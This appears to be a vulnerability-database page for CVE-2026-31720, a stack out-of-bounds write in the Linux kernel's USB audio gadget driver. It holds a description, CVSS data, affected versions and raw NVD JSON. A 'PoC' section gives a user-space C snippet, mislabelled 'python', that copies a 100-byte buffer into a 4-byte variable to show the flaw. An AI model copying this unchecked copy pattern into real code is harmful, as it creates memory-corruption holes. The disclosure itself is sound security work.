CVE-2026-31720

Description

In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_uac1_legacy: validate control request size f_audio_complete() copies req->length bytes into a 4-byte stack variable: u32 data = 0; memcpy(&data, req->buf, req->length); req->length is derived from the host-controlled USB request path, which can lead to a stack out-of-bounds write. Validate req->actual against the expected payload size for the supported control selectors and decode only the expected amount of data. This avoids copying a host-influenced length into a fixed-size stack object.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (版本早于官方补丁提交)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-31720
 * This snippet demonstrates the vulnerable logic in f_audio_complete().
 */

#include <stdio.h>
#include <string.h>
#include <stdint.h>

// Simulated vulnerable function
void vulnerable_f_audio_complete(size_t req_length, void *req_buf) {
    u32 data = 0;
    printf("[+] Calling memcpy with length: %zu\n", req_length);
    // VULNERABILITY: req_length is controlled by attacker and can be > 4
    memcpy(&data, req_buf, req_length);
    printf("[+] Copy completed.\n");
}

int main() {
    // Malicious buffer larger than 4 bytes
    char malicious_payload[100];
    memset(malicious_payload, 0x41, sizeof(malicious_payload));

    printf("[*] Triggering CVE-2026-31720 Stack Overflow...\n");
    // Simulate sending a USB request with req->length = 100
    vulnerable_f_audio_complete(100, malicious_payload);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31720
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31720
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31720/
[4] VulDB https://vuldb.com/cve/CVE-2026-31720
[5] https://git.kernel.org/stable/c/0d41772d98dcaf6c17e875b7d0ea0154ae1191ee
[6] https://git.kernel.org/stable/c/21b11e8581285c6f10ef43d05df349d445f24273
[7] https://git.kernel.org/stable/c/26304d124e7f0383f8fe1168b5801a0ac7e16b1c
[8] https://git.kernel.org/stable/c/557d1d4e862eccd0b74cc377b66de3e1e8d49605
[9] https://git.kernel.org/stable/c/6e0e34d85cd46ceb37d16054e97a373a32770f6c
[10] https://git.kernel.org/stable/c/8e5eb1d6e6a3d7bbea9c92132d0cda5793176426
[11] https://git.kernel.org/stable/c/be2d32f0c3fe333d14c0a9ca90328dacbc3e06b8
[12] https://git.kernel.org/stable/c/c6da4fed7537aec19880c24f6c3a95065adb1406

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31720", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:34.360", "lastModified": "2026-05-06T20:58:09.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_uac1_legacy: validate control request size\n\nf_audio_complete() copies req->length bytes into a 4-byte stack\nvariable:\n\n u32 data = 0;\n memcpy(&data, req->buf, req->length);\n\nreq->length is derived from the host-controlled USB request path,\nwhich can lead to a stack out-of-bounds write.\n\nValidate req->actual against the expected payload size for the\nsupported control selectors and decode only the expected amount\nof data.\n\nThis avoids copying a host-influenced length into a fixed-size\nstack object."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.31", "versionEndExcluding": "5.10.253", "matchCriteriaId": "B50E0851-B870-41D9-8E6F-BA8182EF6CCB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0d41772d98dcaf6c17e875b7d0ea0154ae1191ee", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21b11e8581285c6f10ef43d05df349d445f24273", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/26304d124e7f0383f8fe1168b5801a0ac7e16b1c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/557d1d4e862eccd0b74cc377b66de3e1e8d49605", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6e0e34d85cd46ceb37d16054e97a373a32770f6c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8e5eb1d6e6a3d7bbea9c92132d0cda5793176426", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/be2d32f0c3fe333d14c0a9ca90328dacbc3e06b8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kern ... (truncated)